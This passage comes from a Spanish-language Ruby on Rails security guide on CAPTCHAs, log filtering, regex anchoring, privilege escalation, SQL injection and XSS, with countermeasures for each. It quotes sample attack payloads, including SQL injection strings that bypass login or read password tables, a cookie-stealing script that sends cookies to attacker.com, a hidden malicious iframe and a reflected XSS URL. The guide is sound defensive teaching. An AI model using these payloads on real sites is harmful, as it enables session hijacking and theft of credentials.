robot.</em></p></div><p>Una API de CAPTCHA positivo popular es <a href="https://developers.google.com/recaptcha/">reCAPTCHA</a> que muestra dos imágenes distorsionadas de palabras de libros antiguos. También agrega una línea inclinada, en lugar de un fondo distorsionado y altos niveles de deformación en el texto como lo hacían los CAPTCHAs anteriores, porque estos últimos fueron rotos. Como bono, usar reCAPTCHA ayuda a digitalizar libros antiguos. <a href="https://github.com/ambethia/recaptcha/">ReCAPTCHA</a> también es un plugin de Rails con el mismo nombre que la API.</p><p>Obtendrás dos claves de la API, una pública y una privada, que debes poner en tu entorno Rails. Después de eso, puedes usar el método recaptcha_tags en la vista, y el método verify_recaptcha en el controlador. Verify_recaptcha devolverá false si la validación falla.
El problema con los CAPTCHAs es que tienen un impacto negativo en la experiencia del usuario. Además, algunos usuarios con discapacidad visual han encontrado ciertos tipos de CAPTCHAs distorsionados difíciles de leer. Aún así, los CAPTCHAs positivos son uno de los mejores métodos para prevenir todo tipo de bots de enviar formularios.</p><p>La mayoría de los bots son realmente ingenuos. Rastrean la web y ponen su spam en cada campo de formulario que pueden encontrar. Los CAPTCHAs negativos aprovechan eso e incluyen un campo "honeypot" en el formulario que estará oculto para el usuario humano por CSS o JavaScript.</p><p>Ten en cuenta que los CAPTCHAs negativos solo son efectivos contra bots ingenuos y no serán suficientes para proteger aplicaciones críticas de bots dirigidos. Aún así, los CAPTCHAs negativos y positivos pueden combinarse para aumentar el rendimiento, por ejemplo, si el campo "honeypot" no está vacío (bot detectado), no necesitarás verificar el CAPTCHA positivo, lo que requeriría una solicitud HTTPS a Google ReCaptcha antes de calcular la respuesta.</p><p>Aquí hay algunas ideas sobre cómo ocultar campos honeypot mediante JavaScript y/o CSS:</p>
<ul>
<li>posicionar los campos fuera del área visible de la página</li>
<li>hacer que los elementos sean muy pequeños o del mismo color que el fondo de la página</li>
<li>dejar los campos mostrados, pero decirle a los humanos que los dejen en blanco</li>
</ul>
<p>El CAPTCHA negativo más simple es un campo honeypot oculto. En el lado del servidor, verificarás el valor del campo: si contiene texto, debe ser un bot. Luego, puedes ignorar la publicación o devolver un resultado positivo, pero no guardar la publicación en la base de datos. De esta manera, el bot estará satisfecho y se moverá.</p><p>Puedes encontrar CAPTCHAs negativos más sofisticados en la publicación del <a href="https://nedbatchelder.com/text/stopbots.html">blog de Ned Batchelder</a>:</p>
<ul>
<li>Incluir un campo con la marca de tiempo UTC actual y verificarlo en el servidor. Si está demasiado lejos en el pasado, o si está en el futuro, el formulario es inválido.</li>
<li>Aleatorizar los nombres de los campos</li>
<li>Incluir más de un campo honeypot de todos los tipos, incluidos los botones de envío</li>
</ul>
<p>Ten en cuenta que esto solo te protege de bots automáticos, bots dirigidos a medida no pueden ser detenidos por esto. Así que <em>los CAPTCHAs negativos podrían no ser buenos para proteger formularios de inicio de sesión</em>.</p><h3 id="registro"><a class="anchorlink" href="#registro"><span>5.4</span> Registro</a></h3><p>ADVERTENCIA: <em>Dile a Rails que no ponga contraseñas en los archivos de registro.</em></p><p>Por defecto, Rails registra todas las solicitudes que se realizan a la aplicación web. Pero los archivos de registro pueden ser un gran problema de seguridad, ya que pueden contener credenciales de inicio de sesión, números de tarjetas de crédito, etc. Al diseñar un concepto de seguridad de aplicación web, también debes pensar en lo que sucederá si un atacante obtiene acceso (completo) al servidor web. Cifrar secretos y contraseñas en la base de datos será bastante inútil, si los archivos de registro los listan en texto claro. Puedes <em>filtrar ciertos parámetros de solicitud de tus archivos de registro</em> añadiéndolos a <a href="configuring.html#config-filter-parameters"><code>config.filter_parameters</code></a> en la configuración de la aplicación. Estos parámetros serán marcados como [FILTERED] en el registro.</p><div class="interstitial code">
<pre><code class="highlight ruby"><span class="n">config</span><span class="p">.</span><span class="nf">filter_parameters</span> <span class="o"><<</span> <span class="ss">:password</span>
</code></pre>
<button class="clipboard-button" data-clipboard-text="config.filter_parameters << :password
">Copy</button>
</div>
<p>NOTA: Los parámetros proporcionados serán filtrados por coincidencia parcial de expresión regular. Rails agrega una lista de filtros predeterminados, incluidos <code>:passw</code>, <code>:secret</code> y <code>:token</code>, en el inicializador apropiado (<code>initializers/filter_parameter_logging.rb</code>) para manejar parámetros típicos de la aplicación como <code>password</code>, <code>password_confirmation</code> y <code>my_token</code>.</p><h3 id="expresiones-regulares"><a class="anchorlink" href="#expresiones-regulares"><span>5.5</span> Expresiones Regulares</a></h3><div class="interstitial info"><p><em>Un error común en las expresiones regulares de Ruby es hacer coincidir el inicio y el final de la cadena con ^ y $, en lugar de \A y \z.</em></p></div><p>Ruby utiliza un enfoque ligeramente diferente al de muchos otros lenguajes para hacer coincidir el inicio y el final de una cadena. Por eso, incluso muchos libros de Ruby y Rails lo hacen mal. Entonces, ¿cómo es esto una amenaza de seguridad? Supongamos que querías validar de manera suelta un campo de URL y usaste una expresión regular simple como esta:</p><div class="interstitial code">
<pre><code class="highlight ruby"><span class="sr">/^https?:\/\/[^\n]+$/i</span>
</code></pre>
<button class="clipboard-button" data-clipboard-text="/^https?:\/\/[^\n]+$/i
">Copy</button>
</div>
<p>Esto puede funcionar bien en algunos lenguajes. Sin embargo, <em>en Ruby <code>^</code> y <code>$</code> coinciden con el <strong>inicio de línea</strong> y el final de línea</em>. Y así, una URL como esta pasa el filtro sin problemas:</p><div class="interstitial code">
<pre><code class="highlight plaintext">javascript:exploit_code();/*
http://hi.com
*/
</code></pre>
<button class="clipboard-button" data-clipboard-text="javascript:exploit_code();/*
http://hi.com
*/
">Copy</button>
</div>
<p>Esta URL pasa el filtro porque la expresión regular coincide, la segunda línea, el resto no importa. Ahora imagina que teníamos una vista que mostraba la URL así:</p><div class="interstitial code">
<pre><code class="highlight ruby"><span class="n">link_to</span> <span class="s2">"Homepage"</span><span class="p">,</span> <span class="vi">@user</span><span class="p">.</span><span class="nf">homepage</span>
</code></pre>
<button class="clipboard-button" data-clipboard-text="link_to "Homepage", @user.homepage
">Copy</button>
</div>
<p>El enlace parece inocente para los visitantes, pero cuando se hace clic, ejecutará la función JavaScript "exploit_code" o cualquier otro JavaScript que el atacante proporcione.</p><p>Para corregir la expresión regular, <code>\A</code> y <code>\z</code> deben usarse en lugar de <code>^</code> y <code>$</code>, así:</p><div class="interstitial code">
<pre><code class="highlight ruby"><span class="sr">/\Ahttps?:\/\/[^\n]+\z/i</span>
</code></pre>
<button class="clipboard-button" data-clipboard-text="/\Ahttps?:\/\/[^\n]+\z/i
">Copy</button>
</div>
<p>Dado que este es un error frecuente, el validador de formato (validates_format_of) ahora lanza una excepción si la expresión regular proporcionada comienza con ^ o termina con $. Si necesitas usar ^ y $ en lugar de \A y \z (lo cual es raro), puedes configurar la opción :multiline en true, así:</p><div class="interstitial code">
<pre><code class="highlight ruby"><span class="c1"># el contenido debe incluir una línea "Mientras tanto" en cualquier parte de la cadena</span>
<span class="n">validates</span> <span class="ss">:content</span><span class="p">,</span> <span class="ss">format: </span><span class="p">{</span> <span class="ss">with: </span><span class="sr">/^Mientras tanto$/</span><span class="p">,</span> <span class="ss">multiline: </span><span class="kp">true</span> <span class="p">}</span>
</code></pre>
<button class="clipboard-button" data-clipboard-text="# el contenido debe incluir una línea "Mientras tanto" en cualquier parte de la cadena
validates :content, format: { with: /^Mientras tanto$/, multiline: true }
">Copy</button>
</div>
<p>Ten en cuenta que esto solo te protege contra el error más común al usar el validador de formato, siempre debes tener en cuenta que ^ y $ coinciden con el <strong>inicio de línea</strong> y el final de línea en Ruby, y no el inicio y el final de una cadena.</p><h3 id="escalamiento-de-privilegios"><a class="anchorlink" href="#escalamiento-de-privilegios"><span>5.6</span> Escalamiento de Privilegios</a></h3><p>ADVERTENCIA: <em>Cambiar un solo parámetro puede darle al usuario acceso no autorizado. Recuerda que cada parámetro puede ser cambiado, sin importar cuánto lo ocultes o lo ofusques.</em></p><p>El parámetro más común que un usuario podría manipular es el parámetro id, como en <code>http://www.domain.com/project/1</code>, donde 1 es el id. Estará disponible en params en el controlador. Allí, lo más probable es que hagas algo como esto:</p><div class="interstitial code">
<pre><code class="highlight ruby"><span class="vi">@project</span> <span class="o">=</span> <span class="no">Project</span><span class="p">.</span><span class="nf">find</span><span class="p">(</span><span class="n">params</span><span class="p">[</span><span class="ss">:id</span><span class="p">])</span>
</code></pre>
<button class="clipboard-button" data-clipboard-text="@project = Project.find(params[:id])
">Copy</button>
</div>
<p>Esto está bien para algunas aplicaciones web, pero ciertamente no si el usuario no está autorizado para ver todos los proyectos. Si el usuario cambia el id a 42, y no está permitido ver esa información, tendrá acceso a ella de todos modos. En su lugar, <em>consulta los derechos de acceso del usuario, también</em>:</p><div class="interstitial code">
<pre><code class="highlight ruby"><span class="vi">@project</span> <span class="o">=</span> <span class="vi">@current_user</span><span class="p">.</span><span class="nf">projects</span><span class="p">.</span><span class="nf">find</span><span class="p">(</span><span class="n">params</span><span class="p">[</span><span class="ss">:id</span><span class="p">])</span>
</code></pre>
<button class="clipboard-button" data-clipboard-text="@project = @current_user.projects.find(params[:id])
">Copy</button>
</div>
<p>Dependiendo de tu aplicación web, habrá muchos más parámetros que el usuario pueda manipular. Como regla general, <em>ningún dato de entrada del usuario es seguro, hasta que se demuestre lo contrario, y cada parámetro del usuario es potencialmente manipulado</em>.</p><p>No te dejes engañar por la seguridad por ofuscación y la seguridad JavaScript. Las herramientas de desarrollo te permiten revisar y cambiar cada campo oculto de un formulario. <em>JavaScript puede usarse para validar datos de entrada del usuario, pero ciertamente no para evitar que los atacantes envíen solicitudes maliciosas con valores inesperados</em>. Las DevTools registran cada solicitud y pueden repetirlas y cambiarlas. Esa es una manera fácil de eludir cualquier validación de JavaScript. Y hay incluso proxies del lado del cliente que te permiten interceptar cualquier solicitud y respuesta de y hacia Internet.</p><h2 id="inyección"><a class="anchorlink" href="#inyección"><span>6</span> Inyección</a></h2><div class="interstitial info"><p><em>La inyección es una clase de ataques que introducen código o parámetros maliciosos en una aplicación web para ejecutarlo dentro de su contexto de seguridad. Ejemplos prominentes de inyección son el cross-site scripting (XSS) y la inyección SQL.</em></p></div><p>La inyección es muy complicada, porque el mismo código o parámetro puede ser malicioso en un contexto, pero totalmente inofensivo en otro. Un contexto puede ser un lenguaje de script, consulta o programación, el shell o un método de Ruby/Rails. Las siguientes secciones cubrirán todos los contextos importantes donde pueden ocurrir ataques de inyección. La primera sección, sin embargo, cubre una decisión arquitectónica en conexión con la Inyección.</p><h3 id="listas-permitidas-versus-listas-restringidas"><a class="anchorlink" href="#listas-permitidas-versus-listas-restringidas"><span>6.1</span> Listas Permitidas Versus Listas Restringidas</a></h3><p>NOTA: <em>Al sanitizar, proteger o verificar algo, prefiere listas permitidas sobre listas restringidas.</em></p><p>Una lista restringida puede ser una lista de direcciones de correo electrónico malas, acciones no públicas o etiquetas HTML malas. Esto se opone a una lista permitida que enumera las buenas direcciones de correo electrónico, acciones públicas, buenas etiquetas HTML, y así sucesivamente. Aunque a veces no es posible crear una lista permitida (en un filtro de SPAM, por ejemplo), <em>prefiere usar enfoques de listas permitidas</em>:</p>
<ul>
<li>Usa <code>before_action except: [...]</code> en lugar de <code>only: [...]</code> para acciones relacionadas con la seguridad. De esta manera, no olvidarás habilitar comprobaciones de seguridad para acciones recién agregadas.</li>
<li>Permite <code><strong></code> en lugar de eliminar <code><script></code> contra el Cross-Site Scripting (XSS). Consulta más detalles a continuación.</li>
<li>No intentes corregir la entrada del usuario usando listas restringidas:
<ul>
<li>Esto hará que el ataque funcione: <code>"<sc<script>ript>".gsub("<script>", "")</code></li>
<li>Pero rechaza la entrada malformada</li>
</ul></li>
</ul>
<p>Las listas permitidas también son un buen enfoque contra el factor humano de olvidar algo en la lista restringida.</p><h3 id="inyección-sql"><a class="anchorlink" href="#inyección-sql"><span>6.2</span> Inyección SQL</a></h3><div class="interstitial info"><p><em>Gracias a métodos ingeniosos, esto difícilmente es un problema en la mayoría de las aplicaciones Rails. Sin embargo, este es un ataque muy devastador y común en aplicaciones web, por lo que es importante entender el problema.</em></p></div><h4 id="inyección-sql-introducción"><a class="anchorlink" href="#inyección-sql-introducción"><span>6.2.1</span> Introducción</a></h4><p>Los ataques de inyección SQL tienen como objetivo influir en las consultas de bases de datos manipulando parámetros de la aplicación web. Un objetivo popular de los ataques de inyección SQL es eludir la autorización. Otro objetivo es llevar a cabo manipulaciones de datos o leer datos arbitrarios. Aquí hay un ejemplo de cómo no usar datos de entrada del usuario en una consulta:</p><div class="interstitial code">
<pre><code class="highlight ruby"><span class="no">Project</span><span class="p">.</span><span class="nf">where</span><span class="p">(</span><span class="s2">"name = '</span><span class="si">#{</span><span class="n">params</span><span class="p">[</span><span class="ss">:name</span><span class="p">]</span><span class="si">}</span><span class="s2">'"</span><span class="p">)</span>
</code></pre>
<button class="clipboard-button" data-clipboard-text="Project.where("name = '#{params[:name]}'")
">Copy</button>
</div>
<p>Esto podría estar en una acción de búsqueda y el usuario puede ingresar el nombre de un proyecto que desea encontrar. Si un usuario malicioso ingresa <code>' OR 1) --</code>, la consulta SQL resultante será:</p><div class="interstitial code">
<pre><code class="highlight sql"><span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">projects</span> <span class="k">WHERE</span> <span class="p">(</span><span class="n">name</span> <span class="o">=</span> <span class="s1">''</span> <span class="k">OR</span> <span class="mi">1</span><span class="p">)</span> <span class="c1">--')</span>
</code></pre>
<button class="clipboard-button" data-clipboard-text="SELECT * FROM projects WHERE (name = '' OR 1) --')
">Copy</button>
</div>
<p>Los dos guiones inician un comentario que ignora todo lo que sigue. Por lo tanto, la consulta devuelve todos los registros de la tabla de proyectos, incluidos aquellos ciegos para el usuario. Esto se debe a que la condición es verdadera para todos los registros.</p><h4 id="eludir-la-autorización"><a class="anchorlink" href="#eludir-la-autorización"><span>6.2.2</span> Eludir la Autorización</a></h4><p>Por lo general, una aplicación web incluye control de acceso. El usuario ingresa sus credenciales de inicio de sesión y la aplicación web intenta encontrar el registro correspondiente en la tabla de usuarios. La aplicación otorga acceso cuando encuentra un registro. Sin embargo, un atacante puede posiblemente eludir esta verificación con inyección SQL. Lo siguiente muestra una consulta típica de base de datos en Rails para encontrar el primer registro en la tabla de usuarios que coincide con los parámetros de credenciales de inicio de sesión proporcionados por el usuario.</p><div class="interstitial code">
<pre><code class="highlight ruby"><span class="no">User</span><span class="p">.</span><span class="nf">find_by</span><span class="p">(</span><span class="s2">"login = '</span><span class="si">#{</span><span class="n">params</span><span class="p">[</span><span class="ss">:name</span><span class="p">]</span><span class="si">}</span><span class="s2">' AND password = '</span><span class="si">#{</span><span class="n">params</span><span class="p">[</span><span class="ss">:password</span><span class="p">]</span><span class="si">}</span><span class="s2">'"</span><span class="p">)</span>
</code></pre>
<button class="clipboard-button" data-clipboard-text="User.find_by("login = '#{params[:name]}' AND password = '#{params[:password]}'")
">Copy</button>
</div>
<p>Si un atacante ingresa <code>' OR '1'='1</code> como el nombre, y <code>' OR '2'>'1</code> como la contraseña, la consulta SQL resultante será:</p><div class="interstitial code">
<pre><code class="highlight sql"><span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">users</span> <span class="k">WHERE</span> <span class="n">login</span> <span class="o">=</span> <span class="s1">''</span> <span class="k">OR</span> <span class="s1">'1'</span><span class="o">=</span><span class="s1">'1'</span> <span class="k">AND</span> <span class="n">password</span> <span class="o">=</span> <span class="s1">''</span> <span class="k">OR</span> <span class="s1">'2'</span><span class="o">></span><span class="s1">'1'</span> <span class="k">LIMIT</span> <span class="mi">1</span>
</code></pre>
<button class="clipboard-button" data-clipboard-text="SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1
">Copy</button>
</div>
<p>Esto simplemente encontrará el primer registro en la base de datos y otorgará acceso a este usuario.</p><h4 id="lectura-no-autorizada"><a class="anchorlink" href="#lectura-no-autorizada"><span>6.2.3</span> Lectura No Autorizada</a></h4><p>La declaración UNION conecta dos consultas SQL y devuelve los datos en un conjunto. Un atacante puede usarlo para leer datos arbitrarios de la base de datos. Tomemos el ejemplo anterior:</p><div class="interstitial code">
<pre><code class="highlight ruby"><span class="no">Project</span><span class="p">.</span><span class="nf">where</span><span class="p">(</span><span class="s2">"name = '</span><span class="si">#{</span><span class="n">params</span><span class="p">[</span><span class="ss">:name</span><span class="p">]</span><span class="si">}</span><span class="s2">'"</span><span class="p">)</span>
</code></pre>
<button class="clipboard-button" data-clipboard-text="Project.where("name = '#{params[:name]}'")
">Copy</button>
</div>
<p>Y ahora inyectemos otra consulta usando la declaración UNION:</p><div class="interstitial code">
<pre><code class="highlight plaintext">') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --
</code></pre>
<button class="clipboard-button" data-clipboard-text="') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --
">Copy</button>
</div>
<p>Esto resultará en la siguiente consulta SQL:</p><div class="interstitial code">
<pre><code class="highlight sql"><span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">projects</span> <span class="k">WHERE</span> <span class="p">(</span><span class="n">name</span> <span class="o">=</span> <span class="s1">''</span><span class="p">)</span> <span class="k">UNION</span>
<span class="k">SELECT</span> <span class="n">id</span><span class="p">,</span><span class="n">login</span> <span class="k">AS</span> <span class="n">name</span><span class="p">,</span><span class="n">password</span> <span class="k">AS</span> <span class="n">description</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">1</span> <span class="k">FROM</span> <span class="n">users</span> <span class="c1">--'</span>
</code></pre>
<button class="clipboard-button" data-clipboard-text="SELECT * FROM projects WHERE (name = '') UNION
SELECT id,login AS name,password AS description,1,1,1 FROM users --'
">Copy</button>
</div>
<p>El resultado no será una lista de proyectos (porque no hay un proyecto con un nombre vacío), sino una lista de nombres de usuario y su contraseña. ¡Así que con suerte <a href="#user-management">cifraste las contraseñas de manera segura</a> en la base de datos! El único problema para el atacante es que el número de columnas debe ser el mismo en ambas consultas. Por eso la segunda consulta incluye una lista de unos (1), que siempre será el valor 1, para coincidir con el número de columnas en la primera consulta.</p><p>Además, la segunda consulta renombra algunas columnas con la declaración AS para que la
aplicación web muestre los valores de la tabla de usuarios.</p><h4 id="inyección-sql-contramedidas"><a class="anchorlink" href="#inyección-sql-contramedidas"><span>6.2.4</span> Contramedidas</a></h4><p>Ruby on Rails tiene un filtro incorporado para caracteres especiales de SQL, que escapará <code>'</code> , <code>"</code> , carácter NULL y saltos de línea. <em>Usar <code>Model.find(id)</code> o <code>Model.find_by_something(something)</code> aplica automáticamente esta contramedida</em>. Pero en fragmentos SQL, especialmente <em>en fragmentos de condiciones (<code>where("...")</code>), los métodos <code>connection.execute()</code> o <code>Model.find_by_sql()</code>, debe aplicarse manualmente</em>.</p><p>En lugar de pasar una cadena, puedes usar manejadores posicionales para sanear cadenas contaminadas como esta:</p><div class="interstitial code">
<pre><code class="highlight ruby"><span class="no">Model</span><span class="p">.</span><span class="nf">where</span><span class="p">(</span><span class="s2">"zip_code = ? AND quantity >= ?"</span><span class="p">,</span> <span class="n">entered_zip_code</span><span class="p">,</span> <span class="n">entered_quantity</span><span class="p">).</span><span class="nf">first</span>
</code></pre>
<button class="clipboard-button" data-clipboard-text="Model.where("zip_code = ? AND quantity >= ?", entered_zip_code, entered_quantity).first
">Copy</button>
</div>
<p>El primer parámetro es un fragmento SQL con signos de interrogación. El segundo y tercer
parámetro reemplazarán los signos de interrogación con el valor de las variables.</p><p>También puedes usar manejadores nombrados, se tomarán los valores del hash usado:</p><div class="interstitial code">
<pre><code class="highlight ruby"><span class="n">values</span> <span class="o">=</span> <span class="p">{</span> <span class="ss">zip: </span><span class="n">entered_zip_code</span><span class="p">,</span> <span class="ss">qty: </span><span class="n">entered_quantity</span> <span class="p">}</span>
<span class="no">Model</span><span class="p">.</span><span class="nf">where</span><span class="p">(</span><span class="s2">"zip_code = :zip AND quantity >= :qty"</span><span class="p">,</span> <span class="n">values</span><span class="p">).</span><span class="nf">first</span>
</code></pre>
<button class="clipboard-button" data-clipboard-text="values = { zip: entered_zip_code, qty: entered_quantity }
Model.where("zip_code = :zip AND quantity >= :qty", values).first
">Copy</button>
</div>
<p>Además, puedes dividir y encadenar condicionales válidos para tu caso de uso:</p><div class="interstitial code">
<pre><code class="highlight ruby"><span class="no">Model</span><span class="p">.</span><span class="nf">where</span><span class="p">(</span><span class="ss">zip_code: </span><span class="n">entered_zip_code</span><span class="p">).</span><span class="nf">where</span><span class="p">(</span><span class="s2">"quantity >= ?"</span><span class="p">,</span> <span class="n">entered_quantity</span><span class="p">).</span><span class="nf">first</span>
</code></pre>
<button class="clipboard-button" data-clipboard-text="Model.where(zip_code: entered_zip_code).where("quantity >= ?", entered_quantity).first
">Copy</button>
</div>
<p>Nota que las contramedidas mencionadas anteriormente solo están disponibles en instancias de modelo. Puedes
probar <a href="https://edgeapi.rubyonrails.org/classes/ActiveRecord/Sanitization/ClassMethods.html#method-i-sanitize_sql"><code>sanitize_sql</code></a> en otros lugares. <em>Hazlo un hábito pensar en las consecuencias de seguridad
al usar una cadena externa en SQL</em>.</p><h3 id="cross-site-scripting-xss"><a class="anchorlink" href="#cross-site-scripting-xss"><span>6.3</span> Cross-Site Scripting (XSS)</a></h3><div class="interstitial info"><p><em>La vulnerabilidad de seguridad más extendida y una de las más devastadoras en aplicaciones web es XSS. Este ataque malicioso inyecta código ejecutable del lado del cliente. Rails proporciona métodos auxiliares para defenderse de estos ataques.</em></p></div><h4 id="puntos-de-entrada"><a class="anchorlink" href="#puntos-de-entrada"><span>6.3.1</span> Puntos de Entrada</a></h4><p>Un punto de entrada es una URL vulnerable y sus parámetros donde un atacante puede iniciar un ataque.</p><p>Los puntos de entrada más comunes son publicaciones de mensajes, comentarios de usuarios y libros de visitas, pero títulos de proyectos, nombres de documentos y páginas de resultados de búsqueda también han sido vulnerables, en casi cualquier lugar donde el usuario pueda ingresar datos. Pero la entrada no necesariamente tiene que provenir de cuadros de entrada en sitios web, puede estar en cualquier parámetro de URL, obvio, oculto o interno. Recuerda que el usuario puede interceptar cualquier tráfico. Las aplicaciones o proxies del lado del cliente facilitan cambiar solicitudes. También hay otros vectores de ataque como anuncios publicitarios.</p><p>Los ataques XSS funcionan así: Un atacante inyecta algo de código, la aplicación web lo guarda y lo muestra en una página, que luego se presenta a una víctima. La mayoría de los ejemplos de XSS simplemente muestran una caja de alerta, pero es más poderoso que eso. XSS puede robar la cookie, secuestrar la sesión, redirigir a la víctima a un sitio web falso, mostrar anuncios para beneficio del atacante, cambiar elementos en el sitio web para obtener información confidencial o instalar software malicioso a través de agujeros de seguridad en el navegador web.</p><p>Durante la segunda mitad de 2007, se informaron 88 vulnerabilidades en navegadores Mozilla, 22 en Safari, 18 en IE y 12 en Opera. El informe de amenazas de seguridad global de Symantec también documentó 239 vulnerabilidades de complementos de navegador en los últimos seis meses de 2007. <a href="https://www.pandasecurity.com/en/mediacenter/malware/mpack-uncovered/">Mpack</a> es un marco de ataque muy activo y actualizado que explota estas vulnerabilidades. Para los hackers criminales, es muy atractivo explotar una vulnerabilidad de inyección SQL en un marco de aplicación web e insertar código malicioso en cada columna de texto de la tabla. En abril de 2008, más de 510,000 sitios fueron hackeados de esta manera, entre ellos el gobierno británico, las Naciones Unidas y muchos más objetivos de alto perfil.</p><h4 id="inyección-de-html-javascript"><a class="anchorlink" href="#inyección-de-html-javascript"><span>6.3.2</span> Inyección de HTML/JavaScript</a></h4><p>El lenguaje XSS más común es, por supuesto, el lenguaje de scripting del lado del cliente más popular, JavaScript, a menudo en combinación con HTML. <em>Escapar la entrada del usuario es esencial</em>.</p><p>Aquí está la prueba más directa para comprobar XSS:</p><div class="interstitial code">
<pre><code class="highlight html"><span class="nt"><script></span><span class="nf">alert</span><span class="p">(</span><span class="dl">'</span><span class="s1">Hello</span><span class="dl">'</span><span class="p">);</span><span class="nt"></script></span>
</code></pre>
<button class="clipboard-button" data-clipboard-text="<script>alert('Hello');</script>
">Copy</button>
</div>
<p>Este código JavaScript simplemente mostrará una caja de alerta. Los siguientes ejemplos hacen exactamente lo mismo, solo en lugares muy poco comunes:</p><div class="interstitial code">
<pre><code class="highlight html"><span class="nt"><img</span> <span class="na">src=</span><span class="s">"javascript:alert('Hello')"</span><span class="nt">></span>
<span class="nt"><table</span> <span class="na">background=</span><span class="s">"javascript:alert('Hello')"</span><span class="nt">></span>
</code></pre>
<button class="clipboard-button" data-clipboard-text="<img src="javascript:alert('Hello')">
<table background="javascript:alert('Hello')">
">Copy</button>
</div>
<h5 id="robo-de-cookies"><a class="anchorlink" href="#robo-de-cookies"><span>6.3.2.1</span> Robo de Cookies</a></h5><p>Estos ejemplos no hacen ningún daño hasta ahora, así que veamos cómo un atacante puede robar la cookie del usuario (y así secuestrar la sesión del usuario). En JavaScript puedes usar la propiedad <code>document.cookie</code> para leer y escribir la cookie del documento. JavaScript aplica la política de mismo origen, lo que significa que un script de un dominio no puede acceder a las cookies de otro dominio. La propiedad <code>document.cookie</code> contiene la cookie del servidor web de origen. Sin embargo, puedes leer y escribir esta propiedad, si incrustas el código directamente en el documento HTML (como ocurre con XSS). Inyecta esto en cualquier lugar de tu aplicación web para ver tu propia cookie en la página de resultados:</p><div class="interstitial code">
<pre><code class="highlight html"><span class="nt"><script></span><span class="nb">document</span><span class="p">.</span><span class="nf">write</span><span class="p">(</span><span class="nb">document</span><span class="p">.</span><span class="nx">cookie</span><span class="p">);</span><span class="nt"></script></span>
</code></pre>
<button class="clipboard-button" data-clipboard-text="<script>document.write(document.cookie);</script>
">Copy</button>
</div>
<p>Para un atacante, por supuesto, esto no es útil, ya que la víctima verá su propia cookie. El siguiente ejemplo intentará cargar una imagen desde la URL <a href="http://www.attacker.com/">http://www.attacker.com/</a> más la cookie. Por supuesto, esta URL no existe, por lo que el navegador no mostrará nada. Pero el atacante puede revisar los archivos de registro de acceso de su servidor web para ver la cookie de la víctima.</p><div class="interstitial code">
<pre><code class="highlight html"><span class="nt"><script></span><span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">'</span><span class="s1"><img src="http://www.attacker.com/</span><span class="dl">'</span> <span class="o">+</span> <span class="nb">document</span><span class="p">.</span><span class="nx">cookie</span> <span class="o">+</span> <span class="dl">'</span><span class="s1">"></span><span class="dl">'</span><span class="p">);</span><span class="nt"></script></span>
</code></pre>
<button class="clipboard-button" data-clipboard-text="<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>
">Copy</button>
</div>
<p>Los archivos de registro en <a href="http://www.attacker.com">www.attacker.com</a> leerán así:</p><div class="interstitial code">
<pre><code class="highlight plaintext">GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2
</code></pre>
<button class="clipboard-button" data-clipboard-text="GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2
">Copy</button>
</div>
<p>Puedes mitigar estos ataques (de la manera obvia) agregando la bandera <strong>httpOnly</strong> a las cookies, de modo que <code>document.cookie</code> no pueda ser leído por JavaScript. Las cookies solo HTTP pueden usarse desde IE v6.SP1, Firefox v2.0.0.5, Opera 9.5, Safari 4 y Chrome 1.0.154 en adelante. Pero otros navegadores más antiguos (como WebTV e IE 5.5 en Mac) pueden hacer que la página no se cargue. Ten en cuenta que las cookies <a href="https://owasp.org/www-community/HttpOnly#browsers-supporting-httponly">aún serán visibles usando Ajax</a>, sin embargo.</p><h5 id="desfiguración"><a class="anchorlink" href="#desfiguración"><span>6.3.2.2</span> Desfiguración</a></h5><p>Con la desfiguración de páginas web, un atacante puede hacer muchas cosas, por ejemplo, presentar información falsa o atraer a la víctima al sitio del atacante para robar la cookie, credenciales de inicio de sesión u otros datos sensibles. La forma más popular es incluir código de fuentes externas mediante iframes:</p><div class="interstitial code">
<pre><code class="highlight html"><span class="nt"><iframe</span> <span class="na">name=</span><span class="s">"StatPage"</span> <span class="na">src=</span><span class="s">"http://58.xx.xxx.xxx"</span> <span class="na">width=</span><span class="s">5</span> <span class="na">height=</span><span class="s">5</span> <span class="na">style=</span><span class="s">"display:none"</span><span class="nt">></iframe></span>
</code></pre>
<button class="clipboard-button" data-clipboard-text="<iframe name="StatPage" src="http://58.xx.xxx.xxx" width=5 height=5 style="display:none"></iframe>
">Copy</button>
</div>
<p>Esto carga HTML y/o JavaScript arbitrario de una fuente externa y lo incrusta como parte del sitio. Este <code>iframe</code> se toma de un ataque real en sitios italianos legítimos usando el <a href="https://isc.sans.edu/diary/MPack+Analysis/3015">marco de ataque Mpack</a>. Mpack intenta instalar software malicioso a través de agujeros de seguridad en el navegador web, con mucho éxito, el 50% de los ataques tienen éxito.</p><p>Un ataque más especializado podría superponer todo el sitio web o mostrar un formulario de inicio de sesión, que se vea igual que el original del sitio, pero que transmita el nombre de usuario y la contraseña al sitio del atacante. O podría usar CSS y/o JavaScript para ocultar un enlace legítimo en la aplicación web y mostrar otro en su lugar que redirija a un sitio web falso.</p><p>Los ataques de inyección reflejada son aquellos donde la carga útil no se almacena para presentarla a la víctima más adelante, sino que se incluye en la URL. Especialmente los formularios de búsqueda no escapan la cadena de búsqueda. El siguiente enlace presentó una página que decía que "George Bush nombró a un niño de 9 años como presidente...":</p><div class="interstitial code">
<pre><code class="highlight plaintext">http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1-->
<script src=http://www.securitylab.ru/test/sc.js></script><!--
</code></pre>
<button class="clipboard-button" data-clipboard-text="http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1-->
<script src=http://www.securitylab.ru/test/sc.js></script><!--
">Copy</button>
</div>
